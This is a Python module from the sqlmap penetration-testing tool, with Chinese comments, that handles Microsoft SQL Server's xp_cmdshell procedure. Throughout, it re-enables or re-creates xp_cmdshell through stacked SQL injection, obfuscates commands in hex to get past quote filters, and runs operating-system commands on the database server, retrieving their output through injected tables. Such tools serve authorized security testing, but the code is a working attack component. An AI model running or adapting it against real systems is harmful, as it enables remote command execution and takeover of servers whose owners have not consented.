#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

# 导入所需的模块和函数
from lib.core.agent import agent  # 导入agent模块,用于执行SQL命令
from lib.core.common import Backend  # 导入Backend模块,用于获取数据库后端信息
from lib.core.common import flattenValue  # 导入flattenValue函数,用于将嵌套列表展平成一维列表
from lib.core.common import getLimitRange  # 导入getLimitRange函数,用于获取分页查询的范围
from lib.core.common import getSQLSnippet  # 导入getSQLSnippet函数,用于获取预定义的SQL代码片段
from lib.core.common import hashDBWrite  # 导入hashDBWrite函数,用于将数据写入哈希数据库
from lib.core.common import isListLike  # 导入isListLike函数,用于判断对象是否类似列表
from lib.core.common import isNoneValue  # 导入isNoneValue函数,用于判断值是否为None
from lib.core.common import isNumPosStrValue  # 导入isNumPosStrValue函数,用于判断字符串是否为正数
from lib.core.common import isTechniqueAvailable  # 导入isTechniqueAvailable函数,用于检查SQL注入技术是否可用
from lib.core.common import popValue  # 导入popValue函数,用于从栈中弹出值
from lib.core.common import pushValue  # 导入pushValue函数,用于将值压入栈
from lib.core.common import randomStr  # 导入randomStr函数,用于生成随机字符串
from lib.core.common import readInput  # 导入readInput函数,用于读取用户输入
from lib.core.common import wasLastResponseDelayed  # 导入wasLastResponseDelayed函数,用于检查上次响应是否有延迟
from lib.core.compat import xrange  # 导入xrange函数,用于兼容Python2和3的range函数
from lib.core.convert import encodeHex  # 导入encodeHex函数,用于十六进制编码
from lib.core.data import conf  # 导入conf模块,用于访问全局配置
from lib.core.data import kb  # 导入kb模块,用于访问知识库
from lib.core.data import logger  # 导入logger模块,用于日志记录
from lib.core.decorators import stackedmethod  # 导入stackedmethod装饰器,用于堆叠查询方法
from lib.core.enums import CHARSET_TYPE  # 导入CHARSET_TYPE枚举,定义字符集类型
from lib.core.enums import DBMS  # 导入DBMS枚举,定义数据库类型
from lib.core.enums import EXPECTED  # 导入EXPECTED枚举,定义期望的返回类型
from lib.core.enums import HASHDB_KEYS  # 导入HASHDB_KEYS枚举,定义哈希数据库的键
from lib.core.enums import PAYLOAD  # 导入PAYLOAD枚举,定义SQL注入的载荷类型
from lib.core.exception import SqlmapUnsupportedFeatureException  # 导入异常类,用于不支持的功能
from lib.core.threads import getCurrentThreadData  # 导入getCurrentThreadData函数,用于获取当前线程数据
from lib.request import inject  # 导入inject模块,用于执行SQL注入

class XP_cmdshell(object):
    """
    这个类用于处理Microsoft SQL Server的xp_cmdshell扩展存储过程
    xp_cmdshell是SQL Server提供的一个系统存储过程,可以执行操作系统命令
    该类提供了创建、配置、测试和执行xp_cmdshell的各种方法
    """

    def __init__(self):
        """
        初始化XP_cmdshell类的实例
        设置xp_cmdshell存储过程的默认名称为master..xp_cmdshell
        """
        self.xpCmdshellStr = "master..xp_cmdshell"  # 设置默认的xp_cmdshell存储过程名称

    def _xpCmdshellCreate(self):
        """
        创建新的xp_cmdshell存储过程
        当原始的xp_cmdshell被禁用时,可以创建一个新的具有相同功能的存储过程
        主要步骤:
        1. 对于非SQL Server 2000版本,需要先激活sp_OACreate
        2. 生成随机字符串作为新存储过程名称的一部分
        3. 执行创建存储过程的SQL命令
        """
        cmd = ""

        # 如果不是SQL Server 2000版本,需要先激活sp_OACreate
        if not Backend.isVersionWithin(("2000",)):
            logger.debug("激活sp_OACreate")
            # 获取激活sp_OACreate的SQL代码片段
            cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
            inject.goStacked(agent.runAsDBMSUser(cmd))

        # 生成随机字符串作为新存储过程的一部分
        self._randStr = randomStr(lowercase=True)  # 生成小写随机字符串
        self.xpCmdshellStr = "master..new_xp_cmdshell"  # 设置新的存储过程名称

        # 获取创建新xp_cmdshell的SQL代码片段
        cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)

        # 如果不是SQL Server 2000,需要重新配置
        if not Backend.isVersionWithin(("2000",)):
            cmd += ";RECONFIGURE WITH OVERRIDE"

        inject.goStacked(agent.runAsDBMSUser(cmd))  # 执行创建命令

    def _xpCmdshellConfigure2005(self, mode):
        """
        配置SQL Server 2005及更高版本的xp_cmdshell
        
        参数:
            mode: 整数,1表示启用xp_cmdshell,0表示禁用
        
        返回:
            str: 配置xp_cmdshell的SQL命令
        """
        debugMsg = "使用sp_configure存储过程配置xp_cmdshell"
        logger.debug(debugMsg)

        cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
        return cmd

    def _xpCmdshellConfigure2000(self, mode):
        """
        配置SQL Server 2000版本的xp_cmdshell
        
        参数:
            mode: 整数,1表示启用xp_cmdshell,0表示禁用
            
        返回:
            str: 配置xp_cmdshell的SQL命令
        """
        debugMsg = "使用sp_addextendedproc存储过程配置xp_cmdshell"
        logger.debug(debugMsg)

        if mode == 1:
            cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode))
        else:
            cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode))

        return cmd

    def _xpCmdshellConfigure(self, mode):
        """
        根据SQL Server版本配置xp_cmdshell
        会自动判断SQL Server版本并调用相应的配置方法
        
        参数:
            mode: 整数,1表示启用xp_cmdshell,0表示禁用
        """
        if Backend.isVersionWithin(("2000",)):
            cmd = self._xpCmdshellConfigure2000(mode)  # SQL Server 2000版本
        else:
            cmd = self._xpCmdshellConfigure2005(mode)  # SQL Server 2005及以上版本

        inject.goStacked(agent.runAsDBMSUser(cmd))  # 执行配置命令

    def _xpCmdshellCheck(self):
        """
        检查xp_cmdshell是否可用
        通过执行ping命令并检查响应延迟来测试xp_cmdshell的可用性
        
        返回:
            bool: True表示xp_cmdshell可用,False表示不可用
        """
        # 使用ping命令测试,延迟时间为配置的时间的2倍
        cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
        self.xpCmdshellExecCmd(cmd)

        return wasLastResponseDelayed()  # 返回是否发生了预期的延迟

    @stackedmethod
    def _xpCmdshellTest(self):
        """
        测试xp_cmdshell的功能是否正常
        通过执行简单的echo命令来验证xp_cmdshell是否能正常工作
        同时检查是否有权限写入临时目录
        """
        threadData = getCurrentThreadData()
        pushValue(threadData.disableStdOut)
        threadData.disableStdOut = True

        logger.info("测试xp_cmdshell扩展存储过程是否可用")
        output = self.xpCmdshellEvalCmd("echo 1")  # 执行测试命令

        if output == "1":
            logger.info("xp_cmdshell扩展存储过程可用")
        elif isNoneValue(output) and conf.dbmsCred:
            errMsg = "似乎后端文件系统中用于存储控制台输出的临时目录('%s')" % self.getRemoteTempPath()
            errMsg += "对DBMS进程没有写入权限。"
            errMsg += "建议您使用'--tmp-path'选项手动调整，"
            errMsg += "否则将无法获取命令输出"
            logger.error(errMsg)
        elif isNoneValue(output):
            logger.error("无法获取xp_cmdshell输出")
        else:
            logger.info("xp_cmdshell扩展存储过程可用")

        threadData.disableStdOut = popValue()

    def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
        """
        使用xp_cmdshell写入文件
        通过echo命令将内容写入指定的文件
        
        参数:
            fileContent: 要写入的文件内容
            tmpPath: 临时文件路径
            randDestFile: 随机生成的目标文件名
        """
        echoedLines = []  # 存储echo命令行
        cmd = ""  # 最终要执行的命令
        charCounter = 0  # 字符计数器
        maxLen = 512  # 单条命令最大长度

        # 处理文件内容,转换为行列表
        if isinstance(fileContent, (set, list, tuple)):
            lines = fileContent
        else:
            lines = fileContent.split("\n")

        # 为每行内容创建echo命令
        for line in lines:
            echoedLine = "echo %s " % line
            echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
            echoedLines.append(echoedLine)

        # 分批执行命令以避免命令过长
        for echoedLine in echoedLines:
            cmd += "%s & " % echoedLine
            charCounter += len(echoedLine)

            if charCounter >= maxLen:
                self.xpCmdshellExecCmd(cmd.rstrip(" & "))
                cmd = ""
                charCounter = 0

        if cmd:
            self.xpCmdshellExecCmd(cmd.rstrip(" & "))

    def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
        """
        构造xp_cmdshell命令
        将要执行的命令封装成SQL语句
        
        参数:
            cmd: 要执行的命令
            insertIntoTable: 存储结果的表名
            
        返回:
            str: 构造好的SQL命令
        """
        # 当用户提供DBMS凭据时,需要将命令输出重定向到临时文件
        if conf.dbmsCred and insertIntoTable:
            self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
            cmd = "%s > \"%s\"" % (cmd, self.tmpFile)

        # 混淆要执行的命令,也可用于绕过单引号过滤
        self._randStr = randomStr(lowercase=True)
        self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr

        try:
            self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False))
        except UnicodeError:
            self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd)

        # 将命令输出插入支持表'sqlmapoutput'
        if insertIntoTable and not conf.dbmsCred:
            self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable

        self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr)

        return agent.runAsDBMSUser(self._forgedCmd)

    def xpCmdshellExecCmd(self, cmd, silent=False):
        """
        执行xp_cmdshell命令
        
        参数:
            cmd: 要执行的命令
            silent: 是否静默执行,不显示输出
            
        返回:
            str: 命令执行结果
        """
        return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent)

    def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
        """
        评估并执行xp_cmdshell命令,处理输出结果
        支持直接模式和通过表存储结果两种方式
        
        参数:
            cmd: 要执行的命令
            first: 结果的起始位置
            last: 结果的结束位置
            
        返回:
            str: 处理后的命令输出结果
        """
        output = None

        # 直接模式执行
        if conf.direct:
            output = self.xpCmdshellExecCmd(cmd)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    if line == "NULL":
                        new_output += "\n"
                    else:
                        new_output += "%s\n" % line.strip("\r")

                output = new_output
        else:
            # 通过支持表执行命令
            inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))

            # 处理DBMS凭据情况下的命令输出
            if conf.dbmsCred:
                inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
                self.delRemoteFile(self.tmpFile)

            query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName)

            # 使用不同的技术获取输出
            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                output = inject.getValue(query, resumeValue=False, blind=False, time=False)

            # 如果没有输出,尝试分批获取
            if (output is None) or len(output) == 0 or output[0] is None:
                output = []
                count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if isNumPosStrValue(count):
                    for index in getLimitRange(count):
                        query = agent.limitQuery(index, query, self.tblField)
                        output.append(inject.getValue(query, union=False, error=False, resumeValue=False))

            # 清理支持表
            inject.goStacked("DELETE FROM %s" % self.cmdTblName)

            # 处理输出格式
            if output and isListLike(output) and len(output) > 1:
                _ = ""
                lines = [line for line in flattenValue(output) if line is not None]

                for i in xrange(len(lines)):
                    line = lines[i] or ""
                    if line is None or i in (0, len(lines) - 1) and not line.strip():
                        continue
                    _ += "%s\n" % line

                output = _.rstrip('\n')

        return output

    def xpCmdshellInit(self):
        """
        初始化xp_cmdshell功能
        主要步骤:
        1. 检查xp_cmdshell是否可用
        2. 如果不可用,尝试启用或创建新的xp_cmdshell
        3. 创建支持表用于存储命令输出
        4. 测试xp_cmdshell功能
        """
        if not kb.xpCmdshellAvailable:
            infoMsg = "检查xp_cmdshell扩展存储过程是否可用,请稍候.."
            logger.info(infoMsg)

            result = self._xpCmdshellCheck()

            if result:
                logger.info("xp_cmdshell扩展存储过程可用")
                kb.xpCmdshellAvailable = True
            else:
                message = "xp_cmdshell扩展存储过程似乎不可用。"
                message += "是否要让sqlmap尝试重新启用它? [Y/n] "

                if readInput(message, default='Y', boolean=True):
                    self._xpCmdshellConfigure(1)

                    if self._xpCmdshellCheck():
                        logger.info("xp_cmdshell成功重新启用")
                        kb.xpCmdshellAvailable = True
                    else:
                        logger.warning("xp_cmdshell重新启用失败")

                        logger.info("使用sp_OACreate创建xp_cmdshell")
                        self._xpCmdshellConfigure(0)
                        self._xpCmdshellCreate()

                        if self._xpCmdshellCheck():
                            logger.info("xp_cmdshell创建成功")
                            kb.xpCmdshellAvailable = True
                        else:
                            warnMsg = "xp_cmdshell创建失败,"
                            warnMsg += "可能是因为sp_OACreate被禁用"
                            logger.warning(warnMsg)

            hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable)

            if not kb.xpCmdshellAvailable:
                errMsg = "无法在没有xp_cmdshell的情况下继续"
                raise SqlmapUnsupportedFeatureException(errMsg)

        debugMsg = "创建支持表以写入命令标准输出"
        logger.debug(debugMsg)

        # 创建支持表,使用NVARCHAR(4000)而不是TEXT类型
        # 因为在错误技术中TEXT类型不能比较或排序
        self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")

        self._xpCmdshellTest()
